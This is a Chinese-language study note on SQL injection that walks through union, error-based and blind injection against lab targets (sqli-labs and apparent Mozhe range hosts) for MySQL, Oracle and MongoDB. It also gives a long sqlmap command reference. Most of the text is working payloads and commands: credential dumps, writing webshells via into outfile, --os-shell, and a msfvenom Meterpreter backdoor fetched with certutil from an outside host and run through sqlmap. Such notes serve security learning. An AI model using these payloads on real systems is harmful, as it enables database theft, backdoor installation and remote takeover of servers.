SQL注入

1 SQL注入

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
在这里插入图片描述

2 注入时信息收集

在这里插入图片描述

判断注入
and 1=1 正常
and 1=2 错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效

在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。

数据库中“.”代表下级
select * information_schema.tables;记录所有表名
where table_name=''筛选条件
select * from information_schema.columns;记录所有的列名
where column_name=''筛选条件
wherw table_schema=''筛选条件

信息收集

判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,…
查询数据库 version()
数据库名字 databaase()
数据库用户 user()
操作系统 @@version_compile_os

3.MYSQL注入

在这里插入图片描述

在数据库中输入  
show databases;   ----显示数据库名(每一行对应一个网站)
use 数据库名;      ----使用该数据库
show tables;      ----显示数据库里的表名
select * from 表名;---显示表中所有数据
select 列名 from 表名;-显示列中的所有数据

1、注入流程

--+#为注释符
(1)判断注入
如何判断注入点
and 1=1 页面返回正常
and 1=2 页面返回错误
可能存在注入点
(2)猜解列名数量(字段数)
在网站id后加入order by x --+ 最后取x错误与正常临界的的正常值 x的值为列的数量
(3)报错猜解准备
例:http://124.70.91.203:40972/new_list.php?id=tingjigonggao union select 1,2,3,4 --+
124.70.91.203:40972/new_list.php?id=tingjigonggao and 1=2 union select 1,2,3,4 --+
(4)信息收集
根据报错的数字,将想得到的信息的sql语句填入报错数字的位置,得到的便是相应位置的信息。
操作系统:version()
数据库名:database()
数据库用户:user()
数据库版本:@@version_compile_os
例:http://124.70.91.203:40972/new_list.php?id=tingjigonggao and 1=2 union select 1,database(),version(),4
(5)数据注入
在MYSQL5.0以上的版本中,存在自带数据库名为information_schema,它存储着所有数据库名,表名,列名,可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中“.”代表下级
select * from information_schema.tables;记录所有表名
where table_name=''表名筛选条件
select * from information_schema.columns;记录所有的列名
where column_name=''列名筛选条件
where table_schema='数据库名'字段信息筛选条件

2 MYSQL 普通注入实例(sqlilabs less-2)

1 观察是否有注入
在这里插入图片描述
可以看到在输入?id=1 and 1=2时,页面发生了错误,说明存在sql注入
2 信息收集
首先查看有多少列。运用order by语句,
在这里插入图片描述
在这里插入图片描述
可以看到在输入?id=-1 order by 3时页面是正常的,在输入?id=-1 order by 4时页面是不正常的,说明列数为3列
所以在进行union注入时,要写selece 1,2,3
在这里插入图片描述由图中我们可以看出2和3处是输出点,所以我们可以在2和3处写入我们的注入语句
select1,2,3中的2和3替换为sql语句

数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os

在这里插入图片描述http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,@@version_compile_os,database()
在这里插入图片描述http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,user(),version()

到这里,信息收集就结束了,由图中可以得出
操作系统:win64
数据库名:security
数据库用户:root@localhost
数据库版本:5.7.26

数据库版本5.0以上自带数据库information_schema
其中包含
information_schema.schemata 数据库
schema_name 数据库名称
information_schema.tables  数据表
table.name 数据表名称
table_schema 数据库名
information_schema.columns  数据列
table.name 数据表名称
table_schema 数据库名
column_name 数据列名称

3 获取表名
在这里插入图片描述http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

4获取列名
在这里插入图片描述http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,group_concatcolumn_name),3 from information_schema.columns where table_name='users' and table_schema='security'
5获取数据
在这里插入图片描述http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where database()='security'
也可以使用limit获取数据http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where database()='security' limit 1,1前面的1为获取第几行数据后面的1为获取几个数据,也可以用http://127.0.0.1/sqli/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from security.users查询

3 MYSQL跨库注入实例(sqlilabs less-2)

只有当数据库用户为root的时候才能跨库注入

127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata 爆出所有数据库

在这里插入图片描述

127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu' 获取pikachu数据库的表名

在这里插入图片描述

127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取pikachu数据库users表的列数据
在这里插入图片描述

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询pikachu数据库的user表的数据
在这里插入图片描述

4 MYSQL文件读写注入实例

文件读写操作
load_file(''):读取函数
into outfile或into dumpfile:导出函数
获取路径的常见方法:
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等
报错显示:一般网站报错会显示路径
遗留文件:站长调试用的文件(可以用扫描工具进行扫描得到)
漏洞报错:先搞清楚对方用什么搭建,在到网页进行查找相关漏洞
平台配置文件:
爆破:windows:
d:/wwwroot/......
linux:
/var/www/.....


常见读取文件列表:

查找文件路径方法:
使用工具:有一些渗透测试工具可以帮助查找后台目录路径,例如DirBuster、DirSearch和Gobuster等。这些工具会使用字典文件中的常见目录路径进行扫描,并列出任何找到的目录。

使用搜索引擎:可以使用Google等搜索引擎来查找公开的后台目录路径。在搜索框中输入“site:网站域名 后台路径”,例如“site:example.com/admin”,即可搜索该网站的后台路径。

magic_quotes_gpc:
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,可以将路径转成十六进制绕过。

例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\PhpStudy\\phpstudy_pro\\WWW\\sqli\\sqli-labs-master\\sql-connections\\db-creds.inc'),3读取本地文件
在这里插入图片描述

http://127.0.0.1:8888/Less-2/?id=-1% union select 1, 'x' ,3 into outfile 'E:\\PhpStudy\\phpstudy_pro\\WWW\\sqli\x.php' --+本地文件写入(可以写入一句话后门代码)

在这里插入图片描述
在这里插入图片描述可以在x.php中x用后门代码代替,运用工具进行连接,会得到很多数据

5相关防注入

1 自带防御
magic_quotes_gpc:
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,可以将路径转成十六进制绕过。
2 内置函数:int
过滤:is_array is_int is_integer(字符型,数字型)
3 自定义关键字:select
str_replace (‘1’,‘2’,)将字符串1用字符串2代替
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
如果搜索的字符串是数组,那么它将返回数组。
如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。
4 WAF防护软件:安全狗,宝塔等

4 sqlmap,Oracle,Mongodb,DB2

Union联合查询

  order by 定字段
  and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下
  and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型
    第一个字段是字符型,判断第二个字段类型:
    and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
    第一个字段是数字型,判断第二个字段类型:
    and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
  判断第n个字段的类型,依次类推即可
  确定回显位,假设当前共2个字段,全是数字型,判断方式如下:
  and 1=2 union select 1,2 from dual
  假设回显位是2,爆当前数据库中的第一个表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
  爆当前数据库中的第二个表:
  and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
  以此类推去爆第n个表
  爆某表中的第一个字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual
  爆某表中的第二个字段:
  and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual
  爆其它字段以此类推
  爆某表中的第一行数据:
  and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串

  通过字段名找到对应表:
  SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;

  查询第N行:
  SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)

  当前用户:
  SELECT user FROM dual;

  列出所有用户:
  SELECT username FROM all_users ORDER BY username;

  列出数据库
  SELECT DISTINCT owner FROM all_tables;

  列出表名:
  SELECT table_name FROM all_tables;
  SELECT owner, table_name FROM all_tables;

  列出字段名:
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
  SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

  定位DB文件:
  SELECT name FROM V$DATAFILE;

1、Oracle

实例:墨者
在这里插入图片描述order by 定字段:首先输入http://124.70.22.208:42256/new_list.php?id=1 order by 3发现页面发生错误,说明存在sql注入
在这里插入图片描述
测回显:输入http://124.70.22.208:42256/new_list.php?id=1 union select '1','2' from dual判断该数据库中有多少列
在这里插入图片描述从图中看出爆出1和2,有回显
爆库:输入http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual

在这里插入图片描述从图中看出在回显2的地方爆出库名
模糊爆库:在注入点输入的sql语句后加入 and table_name like '%user%
所输的全部语句为http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
在这里插入图片描述得到库 sns_users
爆列名http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users') from dual
在这里插入图片描述
得到列名USER_NAME
继续爆其他列名http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users' and column_name not in('USER_NAME')) from dual
在这里插入图片描述
得到其他列名为USER_PWD

取得信息http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"

在这里插入图片描述
继续查其他信息http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name<>'hu'
在这里插入图片描述http://124.70.22.208:42256/new_list.php?id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users” where user_name<>‘hu’ and user_name<>‘mozhe’

在这里插入图片描述

2、Mongodb

墨者Mongodb为例
源码:
在这里插入图片描述
参考:https://www.runoob.com/mongodb/mongodb-query.html
测回显:/new_list.php?id=1'});return ({title:1,content:'2
爆库: /new_list.php?id=1'});return ({title:tojson(db),content:'1
爆表: /new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),content:'1
爆字段: /new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.getCollectionNames()返回的是数组,需要用toison转换为字符串

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

3、sqlmap:

使用:

-sqlmap 数据库注入数据猜解
-sqlmap 高权限注入读写执行
-sqlmap高权限注入联动MSF
参考:https://www.cnblogs.com/bmjoker/p/9326258.html

思维导图:

在这里插入图片描述

常用命令:

基本操作笔记:-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8118" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 
2.判断当前数据库用户权限 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1 
3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 
4.获取所有数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 
5.获取指定数据库中的所有表 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 
6.获取指定数据库名中指定表的字段 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 
7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read读取web文件 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 
9.file-write写入文件到web 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:

4、DB2

SQLMAP工具注入
实例:墨者:
1.清除缓存sqlmap -u "url" --purge
2.判断数据库注入点sqlmap -u "url"
3.判断注入点权限
sqlmap.py -u "url" --privileges #查看权限sqlmap.py -u "url" --is-dba #是否是数据库管理员
若返回true则可以进行文件读写,命令执行
若返回false
①需要sqlmap.py -u "url" --dbs获取所有数据库
sqlmap.py -u "url" --current-db获取当前数据库
sqlmap.py -u "url" --tables -D "指定数据库的名"获取指定数据库中的表。(sqlmap.py -u "url" --tables获取所有数据库中的表)
sqlmap.py -u "url" --columns -T "指定表的名" -D "指定数据库的名"获取指定数据库中的指定表的列名
sqlmap.py -u "url" --dump -C "指定的列名" -T "指定表的名" -D "指定数据库的名"获取指定数据库中的指定表的指定列的数据

5 sqlmap文件读写

1.将网站数据包用burpsuit抓取,在sqlmap目录下创建.txt文件,复制粘贴到创建的x.txt文件中并在注入的地方后加*保存例:username = admin* &password=12345
2.判断数据库注入点,输入sqlmap.py -r x.txt
3.判断注入点权限
sqlmap.py -r x.txt --privileges #查看权限sqlmap.py -r x.txt --is-dba #是否是数据库管理员
若返回true则可以进行文件读写,命令执行
①执行命令sqlmap.py -r x.txt --os-shell #系统交互shell
sqlmap.py -r x.txt --os-cmd=id #执行系统命令
sqlmap.py -r x.txt --sql-shell #执行指定sql命令
sqlmap.py -r x.txt --reg-read #读取win系统注册表

②文件读取
sqlmap.py -u "url" --file-read #读取指定文件
sqlmap.py -r x.txt --file-read#读取本地指定文件

sqlmap.py -r x.txt --file-write'地址' #写入本地文件(sqlmap.py -r x.txt --file-write '/test/test.txt' --file-dest '/var/www/html/1.txt';将本地的test.txt文件(后门)写入到目标的1.txt)
sqlmap.py -u "url" --file-write'地址' #写入本地文件(sqlmap.py -u "url" --file-write '/test/test.txt' --file-dest '/var/www/html/1.txt';将本地的test.txt文件(后门)写入到目标的1.txt)

4.与msf联动
(1)用msf生成后门文件
msfvenom -p windows/meterpreter/reverse_http LHOST=101.xx.xxx.211 LPORT=6666 -f exe -o sql.exe
(2)用sqlmap实现访问并下载后门文件
--os-cmd="certutil -urlcache -split -f http://101.xx.xxx.211/sql.exe D:/sql.exe"
(下载后门 certutil -urlcache -split -f http://101.xx.xxx.211/sql.exe D:/sql.exe
(3)用sqlmap–os-cmd让服务器执行你的后门文件
sqlmap.py -u http://127.0.0.1/blog/sql.php?id=3 --os-cmd="D:/sql.exe"

设置监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 101.xx.xxx.211
set lport 6666

5 Tamoer脚本,Base64,Json,md5

数字型:$sql="select * from sy_guestbook where id=$i"
字符型:$sql="select * from sy_guestbook where gTpL='$i' "
搜索性:$sql="select * from user where name like '%$name%' "
编码型:数据以编码值传递,发送编码值后,对方会进行解码后带入数据再进行sql语句执行,在注入时,要尝试对注入的payload进行编码再提交
加密型:数据以加密的密文去发送
格式型:JSON

JSON格式
curl -X POST https://api.zoomeye.org/user/login -d
{
 "username": "foo@bar.com",
    "password": "foobar"
}
JSON取得是键值所以需要考虑单引号闭合

JSON例:

源码:
<?php
  header('content-type:text/html;charset=utf-8');
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
      die('JSON文档格式有误,请检查');
    }
    $username=$json->username;
    //$passwd=$json->passwd;
 
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('user');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf-8');
    $sql="SELECT username,paawd FROM users WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['paawd']}";
    }
    $result->free();
    $mysqli->close();
  }
?>

注入语句为:json={"username":"admin' and 1=2 union select 1,2,3#"}

编码型:

编码型注入时使用sqlmap需使用sqlmap自带的加解密代码文件
例:输入sqlmap.py -u “url” --tamper=base64encode.py
在这里插入图片描述

宽字节:

在接受语句后会加入/ \字符进行转义,导致注入语句失去功能

例:
在输入注入语句id=simple' order by 17 --' 时,传入注入语句后会变为select *from sy_guestbook where id='simple\' order by 17 --''所以正确的输入语句为id=simple %df' and 1=2 order by 17 --'

6 SQL注入之类型提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。

其中SQI语句干扰符号:  ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法

1.参数类型实例

参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中

#字符型
若源代码如下:
$name = $_GET['X'];
$sql="select * from user where name='$name'";
输入语句:
?X=zzz and 1=1
则SQL语句运行为:
$sql="select * from user where name='zzz and 1=1'";

#搜索
若源代码如下:
$name = $_GET['X'];
$sql="select * from user where name like '%$name%'";
输入语句:
?X=zzz
则SQL语句运行为:
$sql="select * from user where name like '%zzz%'";

#JSON

2.提交方式

GET, POST(提交方式)
COOKIE, REQUEST, HTTP头等(数据包中的东西) 

不同的请求方式请求的数据类型大小都不一样

对一个网站使用get方式去访问的时候,它是正常的,然后我们去测试它能不能用其它方式去传输,使用post方式去传参,如果这个时候,网站没有任何反应,还是以前的页面,就表示这个参数,它能够以post方式去接受,所以这个时候,我们就可以把这个注入,用post方式去注入。
大数据用post
get 不管前面是post还是其他的只要在网址后面就会输出
REQUEST是全部接受

$s=$_SERVER['HTTP_USER_AGENT'];

PHP写脚本时会用它来获取一些系统的值,比如操作系统的版本,IP地址,访问的脚本名,浏览器信息

HTTP头部注入,在http数据包里面的注入,数据库有接收数据包里面的某个地方,然后我们把注入语句写到相应的地方进行注入即可。

数据的大小以及类型决定提交方式

#部分语言接受代码块
<?php
header("Content-Type:text/html, charset=utf-8");
$get=$_GET['g'];
$post=$_POST['p'];
$cookie=$_COOKIE['c'];
$request=$_REQUEST['r'];
$host=$_SERVER['HTTP_HOST'];//当前访问url地址
$user_agent=$_SERVER["HTTP USER AGENT"];//浏览器信息
$ip=$_SERVER["HTTP_X_FORWARDED_FOR"];//8.8.8.8


echo $get."<hr>";
echo $post."<hr>";
echo $cookie."<hr>";
echo $request."<hr>";
echo $host."<hr>";
echo $user_agent"<hr>";
echo $ip;
?>

Java Spring 不同框架,不同写法method=RequestMethod.GET
method=RequestMethod.POST
request getParameter("参数名")
可以直接获取get请求的参数key对应的value
也可以从请求体中获取参数的key对应的value

Python flask不同框架,不同写法
requests.get
requests.post
request.args.get(key)//GET
request.form.get(key)//POST
request.values.get(key)//全部接受

3.SQL提交注入相关操作

1、后台要记录登录访问用户的IP地址

IP要进行代码的获取,获取到之后,IP会记录到数据库中
如果IP可以自定义数据,就可以尝试SQL注入

2、网站要根据用户的访问设备给予显示页面

接受各种UA信息,进行判断
将各种UA进行数据库整理后,用户访问后对比数据库中的UA值来进行判断是什么设备,可以尝试抓包将攻击语句写入UA信息中,就可以达到SQL注入

3、网站要进行文件上传,用户登录POST

由于上传的文件可大可小,如果采用get不满足,
用户登录接受账号密码后进行数据库查询后对比,可以将攻击语句写入账号密码,进行SQL注入

4.实例

POST注入

通过抓包得知数据传入方式或用户登录,文件上传一般都为POST行为
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至sqlmap目录下
2.列数据库:

sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n --dbs

注:-r表示加载一个文件,-p指定参数
3.猜表

sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名 --tables

4.猜列

sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名 -T 表名 --columns

5.猜数据

sqlmap.py -r "D:\python3.8\sqlmap\post.txt" -p n -D 数据库名-T 表名 -C “列名” --dump

6POST注入

sqlmap.py -u "D:\python3.8\sqlmap\post.txt"  --data "注入信息如:name=xxx&password=aaa“”

HTTP头XFF注入

尝试登录次数,更换IP

COOKIE注入

1两个必须条件

1:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
2:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

2过程

与sql注入过程相同

5.总结

数据库类型决定----攻击手法,payload不一样
数据类型注入----payload考虑闭合数据格式(符号的干扰)
提交方式---数据请求不同注入需要按照指定方式去测试

URL没有参数并不代表没有注入,有些数据会在数据包才有体现
http数据包的任何一个地方,只要被接受,就有可能产生漏洞

7增删改查,盲注(延时,布尔,报错)

一般用工具注入

1.盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面,需要利用一些方法进行判断或者尝试,这个过程称为盲注。
解决:常规的联合查询注入不行的情况

盲注分类

基于布尔的SQL盲注——逻辑判断:什么都没有
regexp,like,ascil,left,ord,mid,length
基于时间的SQL盲注——延时判断:有数据库输出判断标准
if(1=1,sleep(5),0)
基于报错的SQL盲注——报错回显:有数据库报错处理判断标准
条件:“or die (mysql_error())”该语句为容错语句,若该语句存在则可以使用报错回显
floor,updataxml,extractvalue

函数相关用法:
like 'ro%'      #判断ro或ro....是否成立
regexp '^xxxaaasss[a-z]' #匹配xxxaaasss及xxxaaasss....等
if (条件,5,0)#条件成立 返回5 反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c)     #从位置b开始截取字符串a的c位
substr(a,b,c)  #从位置b开始截取字符串a的c长度
left(database(),1) database()   #left(a,b)从左侧截取a的前b位
length(database())=8#判断数据库database()名的长度
ord=ascii ascii(x)=97#判断x的ascii码是否等于97

updataxml报错注入

爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
